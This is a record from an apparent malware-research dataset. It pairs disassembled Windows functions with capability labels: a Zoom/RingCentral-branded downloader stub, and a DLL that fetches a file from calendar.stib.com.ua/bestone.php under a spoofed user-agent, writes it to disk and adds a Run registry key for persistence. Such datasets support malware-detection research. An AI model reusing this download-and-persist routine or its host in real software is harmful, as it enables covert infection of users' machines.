joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405759
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push str.WinMain_start__lpCmdLine_is:
call esi
mov eax, dword [esp + 0x14]
xor edi, edi
cmp dword [esp + 0x14], edi
jne 0x405779
mov eax, str.NULL
push eax
call esi
push str.WinMain_start__parameter_is:
call esi
push str.package.nameZoom.msipackage.versionlatestpackage.size15164kdownloadRoothttps:__ringcentral.zoom.us_clientactionjoinbrowserchromeconfiddGlkPUxBSGR5YjdvUWg2bFoyMldDLXJQQ3c_3Dconfno9816987747zc0mcv0.92.11227.0929stafalseinstaller.exeInstaller.exe
call esi
push 0x444
call fcn.00407fd2
pop ecx
cmp eax, edi
je 0x4057a5
mov edx, dword [esp + 0xc]
push eax
call fcn.0040588d
jmp 0x4057a7
xor eax, eax
push str.RingCentral_Downloader_Mutex_1.0.0.0_by_Zoom
push edi
push 0x1f0001
mov dword [0x41ddd8], eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, edi
je 0x4057ca
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4057d3
call fcn.00406b5e
test eax, eax
jne 0x4057f3
push edi
push str.RingCentral_Boot_Downloader_by_Zoom
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
je 0x405842
push edi
push edi
push 0x7e9
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x405842
mov ecx, dword [esp + 0x14]
call fcn.00405d3c
mov eax, dword [0x41dddc]
cmp eax, edi
je 0x405812
push eax
call fcn.0040714a
pop ecx
mov dword [0x41dddc], edi
mov eax, dword [0x41dde8]
mov dword [0x41dde4], edi
cmp eax, edi
je 0x405826
call fcn.004024bf
mov eax, dword [0x41ddd8]
cmp eax, edi
je 0x405835
push eax
call fcn.00405849
push str.WinMain_end
mov dword [0x41ddd8], edi
call esi
pop edi
xor eax, eax
pop esi
ret 0x10
Function at 0x405ffb
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0xad8
mov eax, dword [0x41b044]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
mov dword [ebp - 0xa68], eax
lea eax, [ebp - 0x653]
mov edi, ecx
push ebx
push eax
mov dword [ebp - 0xa64], edi
mov byte [ebp - 0x654], bl
call fcn.004070d0
add esp, 0xc
push str.domain
mov eax, 0x41dddc
call fcn.0040335f
mov esi, 0x400
cmp eax, ebx
je 0x40605c
push eax
jmp 0x406061
push str.https:__ringcentral.zoom.us
lea eax, [ebp - 0x654]
push esi
push eax
call fcn.0040736d
add esp, 0xc
push str._support_down4j_oswinerr
lea eax, [ebp - 0x654]
push esi
push eax
call fcn.0040736d
push 0x7f
lea eax, [ebp - 0x53]
push ebx
push eax
mov byte [ebp - 0x54], bl
call fcn.004070d0
push 0xa
push 0x80
lea eax, [ebp - 0x54]
push eax
push dword [edi + 0x24]
call fcn.00408d61
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x654]
push esi
push eax
call fcn.0040736d
push 0x418644
lea eax, [ebp - 0x654]
push esi
push eax
call fcn.0040736d
add esp, 0x40
lea eax, [ebp - 0xa58]
mov dword [ebp - 0xa5c], ebx
mov dword [ebp - 0xa60], ebx
mov dword [ebp - 0xa58], ebx
push eax
lea ebx, [ebp - 0xa60]
lea edi, [ebp - 0xa5c]
call fcn.00403f5c
xor ebx, ebx
push 0x3f
lea eax, [ebp + 0x2d]
push ebx
push eax
mov byte [ebp + 0x2c], bl
call fcn.004070d0
push dword [ebp - 0xa58]
lea eax, [ebp + 0x2c]
push dword [ebp - 0xa60]
push dword [ebp - 0xa5c]
push str._d__d__d
push eax
call fcn.00406ba1
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp - 0x654]
push esi
push eax
call fcn.0040736d
add esp, 0x2c
cmp dword [ebp + 0x7c], 1
jne 0x406160
push 5
mov eax, 0x417cc6
push eax
push eax
lea eax, [ebp - 0x654]
push eax
push str.open
push dword [ebp - 0xa68]
jmp 0x406247
mov ecx, dword [ebp - 0xa64]
mov edx, dword [ecx + 0x30]
xor esi, esi
cmp edx, ebx
jle 0x406186
mov eax, dword [ecx + 0x28]
add eax, 0x804
cmp dword [eax], 2
jne 0x406196
inc esi
add eax, 0x80c
cmp esi, edx
jl 0x406177
push dword [ecx + 0x43c]
call fcn.00406891
jmp 0x40624d
mov esi, 0x1ff
push esi
lea eax, [ebp - 0xa53]
push ebx
push eax
mov byte [ebp - 0xa54], bl
call fcn.004070d0
push esi
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call fcn.004070d0
push esi
lea eax, [ebp - 0x853]
push ebx
push eax
mov byte [ebp - 0x854], bl
call fcn.004070d0
lea eax, [ebp - 0xa54]
push eax
push 0x9b
call fcn.00404351
lea eax, [ebp - 0x254]
push eax
push 0x7d
call fcn.00404351
lea eax, [ebp - 0x854]
push eax
push 0x73
call fcn.00404351
lea eax, [ebp - 0x854]
push eax
lea eax, [ebp - 0x254]
push esi
push eax
call fcn.0040736d
add esp, 0x48
push ebx
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0xa54]
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push 5
mov eax, 0x417cc6
push eax
push eax
lea eax, [ebp - 0x654]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp + 0x6c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406bdf
add ebp, 0x70
leave
ret 8
Function at 0x406306
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x41b044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test ebx, ebx
je 0x406383
test edi, edi
je 0x406383
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.CZpDownloadMgr::FindParam
call esi
push ebx
call esi
push 0x7ff
lea eax, [ebp - 0x803]
push 0
push eax
mov byte [ebp - 0x804], 0
call fcn.004070d0
add esp, 0xc
lea eax, [ebp - 0x804]
mov ecx, edi
call fcn.00406261
test al, al
je 0x406374
lea eax, [ebp - 0x804]
push eax
call esi
lea edi, [ebp - 0x804]
jmp 0x406377
push edi
call esi
push ebx
mov esi, 0x41dddc
call fcn.0040329a
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00406bdf
leave
ret
Function at 0x406b5e
Capabilities:
Check mutex on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call esi
push str.RingCentral_Downloader_Mutex_1.0.0.0_by_Zoom
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call esi
cmp eax, 0xb7
jne 0x406b8d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x406b9e
push 0x2710
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x406b82
inc eax
pop edi
pop esi
ret

Function at 0x406bdf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41b044]
jne 0x406be9
repz ret
jmp fcn.0040909e

Function at 0x4139a0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040e1e8
and dword [ebp - 4], 0
cmp dword [0x41dcfc], 0
mov ebx, eax
jne 0x413a51
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413b02
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x417bfc
push edi
call esi
test eax, eax
je 0x413b02
push eax
call fcn.0040e176
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41dcfc], eax
call esi
push eax
call fcn.0040e176
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41dd00], eax
call esi
push eax
call fcn.0040e176
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41dd04], eax
call esi
push eax
call fcn.0040e176
pop ecx
mov dword [0x41dd0c], eax
test eax, eax
je 0x413a51
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040e176
pop ecx
mov dword [0x41dd08], eax
mov eax, dword [0x41dd08]
cmp eax, ebx
je 0x413aa9
cmp dword [0x41dd0c], ebx
je 0x413aa9
push eax
call fcn.0040e1f1
push dword [0x41dd0c]
mov esi, eax
call fcn.0040e1f1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413aa9
test edi, edi
je 0x413aa9
call esi
test eax, eax
je 0x413aa0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413aa0
test byte [ebp - 0xc], 1
jne 0x413aa9
or dword [ebp + 0x10], 0x200000
jmp 0x413ae2
mov eax, dword [0x41dd00]
cmp eax, ebx
je 0x413ae2
push eax
call fcn.0040e1f1
pop ecx
test eax, eax
je 0x413ae2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413ae2
mov eax, dword [0x41dd04]
cmp eax, ebx
je 0x413ae2
push eax
call fcn.0040e1f1
pop ecx
test eax, eax
je 0x413ae2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41dcfc]
call fcn.0040e1f1
pop ecx
test eax, eax
je 0x413b02
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413b04
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100014b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100435ca
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x10059070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x28], esi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x2c], esi
call fcn.1000b63d
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x10001570
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.bad_locale_name
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.10022a0d
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x10058070
push eax
call fcn.10023db0
push edi
push esi
call fcn.1000dac0
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002181d
mov esp, ebp
pop ebp
ret 4
Function at 0x10002ba0
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004378b
mov eax, dword fs:[0]
push eax
mov eax, 0x10c4
call fcn.100229e0
mov eax, dword [0x10059070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10cc], edx
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__X11__Linux_x86_64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_127.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x10002d8e
push 0
push 0x80000000
push 0
push 0
push str.http:__calendar.stib.com.ua_bestone.php
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x10002d5f
push 0xb0
lea eax, [ebp - 0x10c8]
push 0
push eax
call fcn.10024780
push dword [ebp - 0x10cc]
lea ecx, [ebp - 0x10c8]
call fcn.100041e0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10c8]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x10bc], 6
jne 0x10002d34
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push edi
call esi
test eax, eax
je 0x10002cb9
nop
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x10002cb9
push 0
push eax
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x10c8]
call fcn.10004e20
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push edi
call esi
test eax, eax
jne 0x10002c80
lea ecx, [ebp - 0x10c4]
call fcn.10007520
test eax, eax
jne 0x10002cf3
mov eax, dword [ebp - 0x10c8]
lea ecx, [ebp - 0x10c8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov esi, dword [ecx + 0xc]
or esi, 2
mov eax, esi
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, esi
push eax
call fcn.10002880
mov edx, str.File_downloaded_successfully:
mov ecx, 0x1005aac0
call fcn.100094c0
mov edx, dword [ebp - 0x10cc]
mov ecx, eax
call fcn.100094c0
push eax
call fcn.10009770
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push edi
call esi
lea ecx, [ebp - 0x10c8]
call fcn.10002de0
push ebx
call esi
jmp 0x10002db8
mov edx, str.Failed_to_open_output_file.
mov ecx, 0x1005aca0
call fcn.100094c0
push eax
call fcn.10009770
add esp, 4
push edi
call esi
lea ecx, [ebp - 0x10c8]
call fcn.10002de0
push ebx
call esi
jmp 0x10002db8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, str.Failed_to_open_URL:
mov ecx, 0x1005aca0
call fcn.100094c0
add esp, 4
mov ecx, eax
call fcn.10004f90
push eax
call fcn.10009770
add esp, 4
push ebx
call esi
jmp 0x10002db8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, str.Failed_to_initialize_WinINet:
mov ecx, 0x1005aca0
call fcn.100094c0
add esp, 4
mov ecx, eax
call fcn.10004f90
push eax
call fcn.10009770
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002181d
mov esp, ebp
pop ebp
ret
Function at 0x10003070
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10059070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 8]
mov esi, edx
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10003139
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
jb 0x100030b1
mov esi, dword [esi]
cmp dword [edi + 0x14], 8
jb 0x100030bb
mov ecx, dword [edi]
jmp 0x100030bd
mov ecx, edi
lea eax, [eax*2 + 2]
push eax
push esi
push 1
push 0
push ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10003108
call fcn.10009a90
mov edx, edi
mov ecx, eax
call fcn.10009d60
push eax
call fcn.10009fe0
add esp, 4
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002181d
mov esp, ebp
pop ebp
ret
mov edx, str.Failed_to_set_registry_value.
mov ecx, 0x1005aca0
call fcn.100094c0
push eax
call fcn.10009770
add esp, 4
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002181d
mov esp, ebp
pop ebp
ret
mov edx, str.Failed_to_open_registry_key.
mov ecx, 0x1005aca0
call fcn.100094c0
push eax
call fcn.10009770
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
call fcn.1002181d
mov esp, ebp
pop ebp
ret

Function at 0x10003170
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edx, eax
mov dword [esi + 0x14], 7
xor eax, eax
mov dword [esi + 0x10], 0
mov word [esi], ax
cmp word [edx], ax
jne 0x100031b5
xor ecx, ecx
push ecx
push edx
mov ecx, esi
call fcn.100068a0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, edx
push edi
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100031c0
sub ecx, edi
sar ecx, 1
pop edi
push ecx
push edx
mov ecx, esi
call fcn.100068a0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007290
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043c68
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10059070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x100073fb
cmp byte [ebx + 0x3d], 0
je 0x100073fb
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x100072e9
xor al, al
jmp 0x100073fd
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.10006b00
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmp edx, 0x10
lea esi, [ebp - 0x28]
cmovae esi, eax
cmovae edi, eax
mov edx, dword [ecx]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x10007353
sub eax, 1
je 0x10007357
mov edx, dword [ebp - 0x14]
sub eax, 2
mov eax, dword [ebp - 0x28]
je 0x100073ad
xor bl, bl
jmp 0x100073af
mov byte [ebx + 0x3d], 0
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp edx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae ecx, eax
sub esi, ecx
je 0x1000738f
push dword [ebx + 0x4c]
cmp edx, 0x10
lea ecx, [ebp - 0x28]
push esi
cmovae ecx, eax
push 1
push ecx
call fcn.10028a9b
mov edx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
mov eax, dword [ebp - 0x28]
jne 0x1000734f
cmp byte [ebx + 0x3d], 0
je 0x100073ad
test esi, esi
jne 0x10007314
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.10006e00
jmp 0x1000730e
mov bl, 1
cmp edx, 0x10
jb 0x100073f7
lea ecx, [edx + 1]
cmp ecx, 0x1000
jb 0x100073ee
test byte [ebp - 0x28], 0x1f
je 0x100073ca
call fcn.10028657
mov ecx, dword [eax - 4]
cmp ecx, eax
jb 0x100073d6
call fcn.10028657
sub eax, ecx
cmp eax, 4
jae 0x100073e2
call fcn.10028657
cmp eax, 0x23
jbe 0x100073ec
call fcn.10028657
mov eax, ecx
push eax
call fcn.10021dd2
add esp, 4
mov al, bl
jmp 0x100073fd
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002181d
mov esp, ebp
pop ebp
ret
Function at 0x100075e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043c96
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x10059070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10021a6f
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000d9bd
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x10], ecx
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x34], esi
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov ecx, edi
mov eax, dword [edi + 0x20]
push 0
push dword [ebp + 8]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov dword [edi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
call fcn.10007420
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10008980
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043726
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10059070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10021a6f
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000d9bd
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000e192
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x100444dd
call fcn.100221a5
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x1000e2af
cmp byte [ebx + 0x3e], 0
je 0x1000e2af
mov eax, dword [ebx]
mov edi, 0xffff
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call fcn.10022134
mov ecx, ebx
call esi
movzx eax, ax
cmp di, ax
sete al
test al, al
je 0x1000e1de
xor al, al
jmp 0x1000e2b1
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.10006b00
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x1000e20e
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [ebx + 0x38]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebx + 0x40]
mov ecx, dword [esi + 0x20]
push eax
call fcn.10022134
mov ecx, edi
call dword [esi + 0x20]
sub eax, 0
je 0x1000e243
sub eax, 1
je 0x1000e247
dec eax
sub eax, 1
je 0x1000e29d
xor bl, bl
jmp 0x1000e29f
mov byte [ebx + 0x3e], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x1000e257
lea edx, [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
sub esi, edx
je 0x1000e27f
cmp eax, 0x10
jae 0x1000e266
lea ecx, [ebp - 0x28]
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.10028a9b
add esp, 0x10
cmp esi, eax
jne 0x1000e23f
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp byte [ebx + 0x3e], 0
je 0x1000e29d
test esi, esi
jne 0x1000e202
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.10006e00
jmp 0x1000e1fc
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.100069a0
mov al, bl
jmp 0x1000e2b1
mov al, 1
call fcn.1002214f
ret